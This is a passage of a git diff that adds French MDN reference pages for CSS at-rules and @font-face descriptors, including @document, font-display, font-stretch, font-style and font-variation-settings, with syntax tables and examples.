+  symbols: 0 1 2 3 4 5 6 7 8 9;
+  suffix: ". ";
+}
+
+.list {
+  list-style: numbers;
+}
+</pre>
+
+<h4 id="HTML_6">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<p>{{EmbedLiveSample("Utilisation_de_numeric_avec_des_chiffres")}}</p>
+
+<h3 id="Utilisation_de_additive">Utilisation de <code>additive</code></h3>
+
+<h4 id="CSS_7">CSS</h4>
+
+<pre class="brush: css">@counter-style upper-roman {
+  system: additive;
+  range: 1 3999;
+  additive-symbols: 1000 M, 900 CM, 500 D, 400 CD, 100 C, 90 XC, 50 L, 40 XL, 10 X, 9 IX, 5 V, 4 IV, 1 I;
+}
+
+.list {
+  list-style: upper-roman;
+}
+</pre>
+
+<h4 id="HTML_7">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Résultat_6">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utilisation_de_additive')}}</p>
+
+<h3 id="Combinaison_avec_extends">Combinaison avec <code>extends</code></h3>
+
+<h4 id="CSS_8">CSS</h4>
+
+<pre class="brush: css">@counter-style alpha-modified {
+  system: extends lower-alpha;
+  prefix: "(";
+  suffix: ") ";
+}
+
+.list {
+  list-style: alpha-modified;
+}
+</pre>
+
+<h4 id="HTML_8">HTML</h4>
+
+<pre class="brush: html">&lt;ul class="list"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h4 id="Résultat_7">Résultat</h4>
+
+<p>{{EmbedLiveSample('Combinaison_avec_extends')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-system', 'system')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.system")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle utilisée pour créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@document/index.html b/files/fr/web/css/@document/index.html
new file mode 100644
index 0000000000..27549052b9
--- /dev/null
+++ b/files/fr/web/css/@document/index.html
@@ -0,0 +1,86 @@
+---
+title: '@document'
+slug: Web/CSS/@document
+tags:
+  - At-rule
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@document
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">règle @ CSS </a><strong><code>@document</code></strong> restreint les règles qu'elle contient en fonction de l'URL du document. Elle est principalement conçue pour les feuilles de style utilisateur, bien qu'elle puisse être également utilisée pour les feuilles de style d'auteur.</p>
+
+<pre class="brush: css no-line-numbers">@document url("https://www.example.com/") {
+  h1 {
+    color: green;
+  }
+}</pre>
+
+<ul>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une règle <code>@document</code> peut définir une ou plusieurs fonctions de correspondance. Si l'une quelconque des règles s'applique à l'URL donnée, la règle prendra effet sur cette URL. Les fonctions disponibles sont :</p>
+
+<ul>
+ <li><code>url()</code>, qui établit une correspondance avec une URL exacte ;</li>
+ <li><code>url-prefix()</code>, qui établit une correspondance si l'URL du document commence par la valeur fournie ;</li>
+ <li><code>domain()</code>, qui établit une correspondance si l'URL du document se trouve sur le domaine indiqué (ou l'un de ses sous-domaines) ;</li>
+ <li><code>media-document()</code> qui caractérise le type de document : vidéo, image, plugin, tout ;</li>
+ <li><code>regexp()</code>, qui établit une correspondance avec si l'URL  du document vérifie une <a href="/fr-FR/docs/Web/JavaScript/Guide/Regular_Expressions">expression rationnelle</a>. L'expression doit correspondre à l'URL entière.</li>
+</ul>
+
+<p>Les valeurs fournies aux fonctions <code>url()</code>, <code>url-prefix()</code>, <code>media-document()</code> et <code>domain()</code> peuvent être éventuellement délimitées par des apostrophes, simples ou doubles. Les valeurs fournies à la fonction <code>regexp()</code> <em>doivent</em> être délimitées par des apostrophes.</p>
+
+<p>Les valeurs échappées fournies à la fonction <code>regexp()</code> doivent être en outre échappées pour le CSS. Par exemple, un <code>.</code> (point) correspond à n'importe quel caractère dans les expressions régulières. Pour établir une correspondance avec un point littéral, vous aurez d'abord besoin de l'échapper en utilisant les règles des expressions rationnelles (en <code>\.</code>), puis d'échapper cette chaîne en utilisant les règles CSS (en <code>\\.</code>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il existe une version préfixée de cette propriété pour Mozilla : <code>@-moz-document</code>. Cette propriété a été restreinte aux feuilles de style utilisateur ou à celles de l'agent utilisateur à partir de Firefox 59 afin d'expérimenter une méthode de réduction des risques d'injections CSS (cf. {{bug(1035091)}}).</p>
+</div>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@document url("http://www.w3.org/"),
+               url-prefix("http://www.w3.org/Style/"),
+               domain("mozilla.org"),
+               media-document("video"),
+               regexp("https:.*")
+{
+  /* Ces règles CSS s'appliquent à :
+     - la page "http://www.w3.org/"
+     - toute page dont l'URL commence par "http://www.w3.org/Style/"
+     - toute page dont l'hôte de l'URL est "mozilla.org"
+       ou finit par ".mozilla.org"
+     - toute vidéo
+     - toute page dont l'URL commence par "https:" */
+
+  /* Rendre ces pages vraiment laides */
+  body {
+    color: purple;
+    background: yellow;
+  }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p><a href="https://www.w3.org/TR/css3-conditional/">Initialement</a> dans {{SpecName('CSS3 Conditional')}}, <code>@document</code> a <a href="http://www.w3.org/TR/2012/WD-css3-conditional-20121213/#changes">été repoussée</a> au niveau 4.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.document")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135">Per-site user style sheet rules</a> sur la liste de diffusion www-style.</li>
+</ul>
diff --git a/files/fr/web/css/@font-face/font-display/index.html b/files/fr/web/css/@font-face/font-display/index.html
new file mode 100644
index 0000000000..f044ddbc3e
--- /dev/null
+++ b/files/fr/web/css/@font-face/font-display/index.html
@@ -0,0 +1,92 @@
+---
+title: font-display
+slug: Web/CSS/@font-face/font-display
+tags:
+  - CSS
+  - Descripteur
+  - Experimental
+  - Reference
+translation_of: Web/CSS/@font-face/font-display
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>font-display</code></strong> détermine la façon dont une fonte est affichée selon qu'elle ait été chargée et prête à être utilisée.</p>
+
+<h2 id="Le_déroulement_de_l'affichage_d'une_police">Le déroulement de l'affichage d'une police</h2>
+
+<p>La gestion d'une fonte de caractères s'effectue selon trois périodes distinctes dont la première commence lorsque l'agent utilisateur tente de télécharger une fonte.</p>
+
+<dl>
+ <dt>Période 1 : Blocage des fontes</dt>
+ <dd>Si la fonte n'est pas chargée, tout élément utilisant cette fonte doit être rendu avec une fonte alternative invisible. Si la fonte est chargée correctement pendant cette période, elle est utilisée normalement.</dd>
+ <dt>Période 2 : Échange des fontes</dt>
+ <dd>Si la fonte n'est pas chargée, tout élément utilisant cette fonte doit utiliser une fonte alternative visible. Si la fonte est chargée correctement pendant cette période, elle est utilisée normalement.</dd>
+ <dt>Période 3 : Échec du chargement des fontes</dt>
+ <dd>Si la fonte n'est pas chargée, l'agent utilisateur considère qu'il y a eu un échec du chargement et utilise la fonte alternative disponible.</dd>
+</dl>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css;">/* Valeurs avec un mot-clé */
+font-display: auto;
+font-display: block;
+font-display: swap;
+font-display: fallback;
+font-display: optional;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La stratégie d'affichage de la fonte est définie par l'agent utilisateur.</dd>
+ <dt><code>block</code></dt>
+ <dd>La période de blocage est courte et est suivi d'une période d'échange infinie.</dd>
+ <dt><code>swap</code></dt>
+ <dd>La période de blocage est extrêmement courte et est suivie par une période d'échange infinie.</dd>
+ <dt><code>fallback</code></dt>
+ <dd>La période de blocage est extrêmement courte et est suivie par une courte période d'échange.</dd>
+ <dt><code>optional</code></dt>
+ <dd>La période de blocage est extrêmement courte et il n'y a pas de période d'échange.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css; highlight[7]">@font-face {
+  font-family: FonteExemple;
+  src: url(/chemin/vers/fonts/examplefont.woff) format('woff'),
+       url(/chemin/vers/fonts/examplefont.eot) format('eot');
+  font-weight: 400;
+  font-style: normal;
+  font-display: fallback;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-display-desc', 'font-display')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-display")}}</p>
diff --git a/files/fr/web/css/@font-face/font-family/index.html b/files/fr/web/css/@font-face/font-family/index.html
new file mode 100644
index 0000000000..3d9e1c6717
--- /dev/null
+++ b/files/fr/web/css/@font-face/font-family/index.html
@@ -0,0 +1,69 @@
+---
+title: font-family
+slug: Web/CSS/@font-face/font-family
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@font-face/font-family
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>font-family</code></strong> permet aux auteurs d'un document de définir la police de caractères à utiliser au sein d'une règle @ {{cssxref("@font-face")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de chaînes de caractères */
+/* Type &lt;string&gt;                    */
+font-family: "police de caractères a";
+font-family: 'une autre police';
+
+/* Valeur de type &lt;custom-ident&gt; */
+font-family: exemplepolice;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;family-name&gt;</code></dt>
+ <dd>Définit le nom de la police de caractères.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@font-face {
+  font-family: exemplepolice;
+  src: url('exemplepolice.ttf');
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-family-desc', 'font-family')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-family")}}</p>
diff --git a/files/fr/web/css/@font-face/font-stretch/index.html b/files/fr/web/css/@font-face/font-stretch/index.html
new file mode 100644
index 0000000000..e7ab910e64
--- /dev/null
+++ b/files/fr/web/css/@font-face/font-stretch/index.html
@@ -0,0 +1,183 @@
+---
+title: font-stretch
+slug: Web/CSS/@font-face/font-stretch
+tags:
+  - '@font-face'
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@font-face/font-stretch
+---
+<p>{{CSSRef}}{{draft}}</p>
+
+<p>Le descripteur CSS <strong><code>font-stretch</code></strong> permet aux auteurs de choisir entre la forme normale, condensée ou étendue d'une police fournie dans une règle {{cssxref("@font-face")}}.</p>
+
+<p>Pour une police donnée, les auteurs peuvent télécharger différentes fontes pour différents styles et utiliser alors <code>font-stretch</code> de façon explicite afin de choisir la fonte voulue. Les valeurs fournies au descripteur CSS sont les mêmes que celles qui peuvent être utilisées pour la propriété correspondante.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs simples */
+font-stretch: ultra-condensed;
+font-stretch: extra-condensed;
+font-stretch: condensed;
+font-stretch: semi-condensed;
+font-stretch: normal;
+font-stretch: semi-expanded;
+font-stretch: expanded;
+font-stretch: extra-expanded;
+font-stretch: ultra-expanded;
+font-stretch: 50%;
+font-stretch: 100%;
+font-stretch: 200%;
+
+/* Valeurs multiples */
+font-stretch: 75% 125%;
+font-stretch: condensed ultra-condensed;;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Indique la forme normale (en largeur) de la police.</dd>
+ <dt><code>semi-condensed</code>, <code>condensed</code>, <code>extra-condensed</code>, <code>ultra-condensed</code></dt>
+ <dd>Indique une forme plus condensée que la normale (la valeur <code>ultra-condensed</code> correspond à la forme la plus condensée).</dd>
+ <dt><code>semi-expanded</code>, <code>expanded</code>, <code>extra-expanded</code>, <code>ultra-expanded</code></dt>
+ <dd>Indique une forme plus étendue que la normale (la valeur <code>ultra-expanded</code> étant la plus étendue).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage (une valeur de type {{cssxref("&lt;percentage&gt;")}}) dont la valeur est comprise entre 50% et 200% (inclus). Les valeurs négatives ne sont pas autorisées pour cette propriété.</dd>
+</dl>
+
+<p>Dans les versions antérieures de la spécification pour <code>font-stretch</code>, la propriété ne s'utilisait qu'avec des mots-clés. Avec le module CSS Fonts de niveau 4, la syntaxe est étendue afin de permettre l'utilisation des valeurs <code>&lt;percentage&gt;</code>. Cela permet aux polices variables de permettre un contrôle plus fin voire continu.</p>
+
+<p>Pour les polices variables TrueType et OpenType, c'est l'axe de variation <code>"wdth"</code> qui est utilisé afin d'implémenter les largeurs variables.</p>
+
+<p>Si la police ne dispose pas d'une fonte avec une valeur exactement correspondantes, le moteur choisira la forme la plus proche disponible.</p>
+
+<h3 id="Correspondance_entre_les_noms_et_les_pourcentages">Correspondance entre les noms et les pourcentages</h3>
+
+<p>Ce tableau indique les correspondances entre les valeurs indiquées par un mot-clé et celles définies avec un pourcentage :</p>
+
+<table class="fullwidth-table standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Keyword</th>
+   <th scope="col">Pourcentage</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>ultra-condensed</code></td>
+   <td>50%</td>
+  </tr>
+  <tr>
+   <td><code>extra-condensed</code></td>
+   <td>62.5%</td>
+  </tr>
+  <tr>
+   <td><code>condensed</code></td>
+   <td>75%</td>
+  </tr>
+  <tr>
+   <td><code>semi-condensed</code></td>
+   <td>87.5%</td>
+  </tr>
+  <tr>
+   <td><code>normal</code></td>
+   <td>100%</td>
+  </tr>
+  <tr>
+   <td><code>semi-expanded</code></td>
+   <td>112.5%</td>
+  </tr>
+  <tr>
+   <td><code>expanded</code></td>
+   <td>125%</td>
+  </tr>
+  <tr>
+   <td><code>extra-expanded</code></td>
+   <td>150%</td>
+  </tr>
+  <tr>
+   <td><code>ultra-expanded</code></td>
+   <td>200%</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Polices_variables">Polices variables</h3>
+
+<p>La plupart des polices disposent de fontes avec des formes "séparées"/"discrètes". Toutefois, les polices variables permettent désormais d'utiliser des variations beaucoup plus fines (et c'est pour cela qu'on utilise les pourcentages).</p>
+
+<p>Pour les polices variables TrueType ou OpenType, c'est l'axe de variation <code>"wdth"</code> qui est utilisé afin d'implémenter les largeurs variables des glyphes.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre>{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on charge une police Open Sans locale et on l'importe en ciblant les fontes avec les formes normale, semi-condensée et semi-étendue.</p>
+
+<pre class="brush: css">@font-face {
+  font-family: "Open Sans";
+  src: local("Open Sans") format("woff2"),
+       url("/fonts/OpenSans-Regular-webfont.woff") format("woff");
+  font-stretch: 87.5% 112.5%;
+}</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les personnes atteintes de dyslexie ou d'autres troubles cognitifs pourront avoir des difficultés à lire des textes dont la fonte est trop condensée, notamment <a href="/en-US/docs/Web/CSS/color#Accessibility_concerns">si le contraste des couleurs est trop faible</a>.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG - Partie 1.4 (MDN)</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Respecter le critère 1.4.8 - Comprendre les règles WCAG 2.0 (W3C)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-prop-desc', 'font-stretch')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-prop-desc', 'font-stretch')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-stretch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("@font-face/font-display", "font-display descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-family", "font-family descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-weight", "font-weight descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-style", "font-style descriptor")}}</li>
+ <li>{{cssxref("@font-face/font-variant", "font-variant descriptor")}}</li>
+ <li>{{cssxref("font-feature-settings", "font-feature-settings")}}</li>
+ <li>{{cssxref("@font-face/font-variation-settings", "font-variation-settings")}}</li>
+ <li>{{cssxref("@font-face/src", "src")}}</li>
+ <li>{{cssxref("@font-face/unicode-range", "unicode-range descriptor")}}</li>
+</ul>
diff --git a/files/fr/web/css/@font-face/font-style/index.html b/files/fr/web/css/@font-face/font-style/index.html
new file mode 100644
index 0000000000..b3265e2d68
--- /dev/null
+++ b/files/fr/web/css/@font-face/font-style/index.html
@@ -0,0 +1,101 @@
+---
+title: font-style
+slug: Web/CSS/@font-face/font-style
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@font-face/font-style
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>font-style</code></strong>, associé à <a href="/fr/docs/Web/CSS/Règles_@">la règle @</a> {{cssxref("@font-face")}}, permet d'indiquer le style de police pour la police définie via la règle.</p>
+
+<p>Pour une police donnée (un ensemble de fontes), les auteurs peuvent télécharger plusieurs fichiers correspondant à la même police mais pour différents styles. Le descripteur <code>font-style</code> peut alors être utilisé afin d'indiquer explicitement le style associé à la fonte. La valeur du descripteur correspond à la propriété de la fonte.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="syntaxbox">
+<pre class="brush: css">font-style: normal;
+font-style: italic;
+font-style: oblique;
+font-style: oblique 30deg;
+font-style: oblique 30deg 50deg;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>C'est la fonte « normale » de la police qui est choisie.</dd>
+ <dt><code>italic</code></dt>
+ <dd>C'est la fonte italique de la police qui est choisie.</dd>
+ <dt><code>oblique</code></dt>
+ <dd>C'est la fonte, artificiellement penchée à partir de la police normale, de la police qui est choisie.</dd>
+ <dt><code>oblique</code> avec un angle</dt>
+ <dd>C'est la fonte oblique (c'est-à-dire une version artificiellement penchée, obtenue à partir de la police normale) de la police qui est choisie. L'angle indiqué correspond à la pente du texte.</dd>
+ <dt><code>oblique</code> avec un intervalle d'angle</dt>
+ <dd>Utilise une fonte comme <code>oblique</code> et indique un intervalle d'angles possibles pour la pente du texte. On notera que l'intervalle est uniquement pris en compte pour la valeur <code>oblique</code>, aucune autre valeur n'est autorisée après <code>normal</code> ou <code>italic</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans les exemples qui suivent, on utilisera les différentes formes liées à la police Garamond :</p>
+
+<pre class="brush: css">@font-face {
+  font-family: garamond;
+  src: url('garamond.ttf');
+}</pre>
+
+<p><img alt="unstyled Garamond" src="https://mdn.mozillademos.org/files/12265/garamondunstyled.JPG" style="height: 101px; width: 276px;"></p>
+
+<p>La version en italique du texte utilisera les mêmes glyphes que la version normale, artificiellement penchés de quelques degrés.</p>
+
+<p><img alt="artificially sloped garamond" src="https://mdn.mozillademos.org/files/12267/garamondartificialstyle.JPG" style="height: 101px; width: 276px;"></p>
+
+<p>En revanche, si on dispose d'une vraie version italique, on peut l'indiquer via le descripteur <code>src</code> et indiquer que c'est une police italique via <code>font-style</code>. Une « vraie » police italique utilisera des glyphes différents et la qualité calligraphique obtenue sera meilleure qu'avec les glyphes normaux penchés artificiellement.</p>
+
+<pre class="brush: css">@font-face {
+  font-family: garamond;
+  src: url('garamond-italic.ttf');
+  /* On indique ici que la police est italique */
+  font-style: italic;
+}</pre>
+
+<p><img alt="italic garamond" src="https://mdn.mozillademos.org/files/12269/garamonditalic.JPG" style="height: 101px; width: 267px;"></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-prop-desc', 'font-style')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Ajoute la possibilité d'utiliser le mot-clé <code>oblique</code> suivi par une valeur angulaire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-prop-desc', 'font-style')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-style")}}</p>
+</div>
diff --git a/files/fr/web/css/@font-face/font-variation-settings/index.html b/files/fr/web/css/@font-face/font-variation-settings/index.html
new file mode 100644
index 0000000000..d9dd7e0789
--- /dev/null
+++ b/files/fr/web/css/@font-face/font-variation-settings/index.html
@@ -0,0 +1,71 @@
+---
+title: font-variation-settings
+slug: Web/CSS/@font-face/font-variation-settings
+tags:
+  - '@font-face'
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@font-face/font-variation-settings
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>font-variation-settings</code></strong>, associé à la règle @ {{cssxref("@font-face")}} permet d'indiquer les variations de police de bas niveau pour les polices OpenType ou TrueType.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">/* On utilise les paramètres par défaut */
+font-variation-settings: normal;
+
+/* On indique les valeurs pour les noms des axes OpenType */
+font-variation-settings: "xhgt" 0.7;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Le texte est disposé avec les paramètres par défaut.</dd>
+ <dt><code>&lt;string&gt; &lt;number&gt;</code></dt>
+ <dd>Lorsque le texte est affiché, la liste des noms des axes OpenType est envoyée au moteur afin d'activer ou de désactiver des paramètres de la police. Chaque paramètre se compose d'un nom ({{cssxref("&lt;string&gt;")}}) de 4 caractères ASCII, suivis d'un nombre ({{cssxref("number")}}) qui indique la valeur de l'axe. Si la chaîne de caractères contient moins ou plus de caractères ou contient des caractères en dehors de l'intervalle de points de code U+20 - U+7E, la propriété entière sera considérée comme invalide. Le nombre utilisé peut être décimal ou négatif.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@font-face {
+  font-family: 'OpenTypeFont';
+  src: url('open_type_font.woff2') format('woff2');
+  font-weight: normal;
+  font-style: normal;
+  font-variation-settings: 'wght' 400, 'wdth' 300;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#font-rend-desc', 'font-variation-settings')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.font-face.font-variation-settings")}}</p>
diff --git a/files/fr/web/css/@font-face/font-weight/index.html b/files/fr/web/css/@font-face/font-weight/index.html
new file mode 100644
index 0000000000..21fcbc251f
--- /dev/null
+++ b/files/fr/web/css/@font-face/font-weight/index.html
@@ -0,0 +1,173 @@
+---
+title: font-weight
+slug: Web/CSS/@font-face/font-weight
+tags:
+  - '@font-face'
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@font-face/font-weight
+---
+<p>{{CSSRef}}</p>
+
